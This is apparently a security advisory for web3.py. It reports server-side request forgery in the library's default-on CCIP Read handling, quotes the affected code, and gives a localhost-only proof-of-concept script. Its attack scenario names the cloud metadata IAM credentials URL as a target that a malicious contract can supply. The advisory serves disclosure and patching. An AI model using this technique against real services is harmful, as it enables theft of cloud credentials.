Vulnerability GHSA-5hr4-253g-cpx2
Summary
web3.py: SSRF via CCIP Read (EIP-3668) OffchainLookup URL handling
Details
Summary
web3.py implements CCIP Read / OffchainLookup (EIP-3668) by performing HTTP requests to URLs supplied by smart contracts in offchain_lookup_payload["urls"]. The implementation uses these contract-supplied URLs directly (after {sender} / {data} template substitution) without any destination validation:
- No restriction to
https://(and no opt-in gate forhttp://) - No hostname or IP allowlist
- No blocking of private/reserved IP ranges (loopback, link-local, RFC1918)
- No redirect target validation (both
requestsandaiohttpfollow redirects by default)
CCIP Read is enabled by default (global_ccip_read_enabled = True on all providers), meaning any application using web3.py's .call() method is exposed without explicit opt-in.
This results in Server-Side Request Forgery (SSRF) when web3.py is used in backend services, indexers, APIs, or any environment that performs eth_call / .call() against untrusted or user-supplied contract addresses. A malicious contract can force the web3.py process to issue HTTP requests to arbitrary destinations, including internal network services and cloud metadata endpoints.
Affected Code
Sync CCIP handler
File: web3/utils/exception_handling.py (lines 42-58)
Contract-controlled URLs are requested via requests with no destination validation:
session = requests.Session()
for url in offchain_lookup_payload["urls"]:
formatted_url = URI(
str(url)
.replace("{sender}", str(formatted_sender))
.replace("{data}", str(formatted_data))
)
try:
if "{data}" in url and "{sender}" in url:
response = session.get(formatted_url, timeout=DEFAULT_HTTP_TIMEOUT)
else:
response = session.post(
formatted_url,
json={"data": formatted_data, "sender": formatted_sender},
timeout=DEFAULT_HTTP_TIMEOUT,
)
(The request is issued before response validation; subsequent logic parses JSON and enforces a "data" field.)
Key observations:
requestsfollows redirects by default (allow_redirects=True).- No
allow_redirects=Falseis set. - No validation of
formatted_urlbefore the request. - The placeholder check (
if "{data}" in url) operates on the rawurlvalue from the payload (beforestr()conversion), not on the already-formattedformatted_url. Ifurlis not a plainstr(e.g., aURItype), theincheck may behave differently than intended.
Async CCIP handler
File: web3/utils/async_exception_handling.py (lines 45-63)
Same pattern with aiohttp:
session = ClientSession()
for url in offchain_lookup_payload["urls"]:
formatted_url = URI(
str(url)
.replace("{sender}", str(formatted_sender))
.replace("{data}", str(formatted_data))
)
try:
if "{data}" in url and "{sender}" in url:
response = await session.get(
formatted_url, timeout=ClientTimeout(DEFAULT_HTTP_TIMEOUT)
)
else:
response = await session.post(
formatted_url,
json={"data": formatted_data, "sender": formatted_sender},
timeout=ClientTimeout(DEFAULT_HTTP_TIMEOUT),
)
Key observations:
aiohttpfollows redirects by default.- No redirect or destination validation.
- Same raw-
urlplaceholder check issue as the sync handler.
Default-on invocation path
File: web3/providers/base.py (line 66) and web3/providers/async_base.py (line 79):
global_ccip_read_enabled: bool = True
File: web3/eth/eth.py (lines 222-266) and web3/eth/async_eth.py (lines 243-287):
The .call() method automatically invokes handle_offchain_lookup() / async_handle_offchain_lookup() when a contract reverts with OffchainLookup, up to ccip_read_max_redirects times (default: 4). No user interaction or explicit opt-in is required beyond the default configuration.
Proof of Concept
Prerequisites
- Python environment with
web3installed - No network access or blockchain connection required (the PoC calls the handler function directly)
Step 1: Start a local HTTP listener
python -m http.server 9999
Step 2: Run the reproduction script
python repro_ssrf.py
Step 3: Observe
The HTTP server logs will show an inbound request to a path like /SSRF_DETECTION_SUCCESS?sender=...&data=..., confirming that handle_offchain_lookup() issued an outbound HTTP request to the contract-supplied URL without any destination validation.
The script will then print an error (the local HTTP server does not return the expected JSON), but the request has already been sent -- the SSRF occurs before any response validation.
Reproduction script (repro_ssrf.py)
from web3.types import TxParams
from web3.utils.exception_handling import handle_offchain_lookup
def reproduce_ssrf():
target_address = "0x0000000000000000000000000000000000000001"
payload = {
"sender": target_address,
"callData": "0x1234",
"callbackFunction": "0x12345678",
"extraData": "0x90ab",
"urls": [
"http://127.0.0.1:9999/SSRF_DETECTION_SUCCESS?sender={sender}&data={data}"
],
}
transaction: TxParams = {"to": target_address}
print(f"Triggering CCIP Read handler with URL: {payload['urls'][0]}")
try:
handle_offchain_lookup(payload, transaction)
except Exception as e:
print(f"Expected failure after request was sent: {e}")
if __name__ == "__main__":
reproduce_ssrf()
Real-world attack scenario
In a production setting, the attacker would:
- Deploy a malicious contract that reverts with
OffchainLookup, supplying URLs pointing to internal services (e.g.,http://169.254.169.254/latest/meta-data/iam/security-credentials/). - Cause a backend service (indexer, API, bot) to call that contract via
eth_call/.call(). - web3.py automatically triggers CCIP Read, issuing the HTTP request from the backend's network context.
No special permissions or contract interactions beyond a standard eth_call are required.
Related Vulnerabilities
Other vulnerabilities affecting the same packages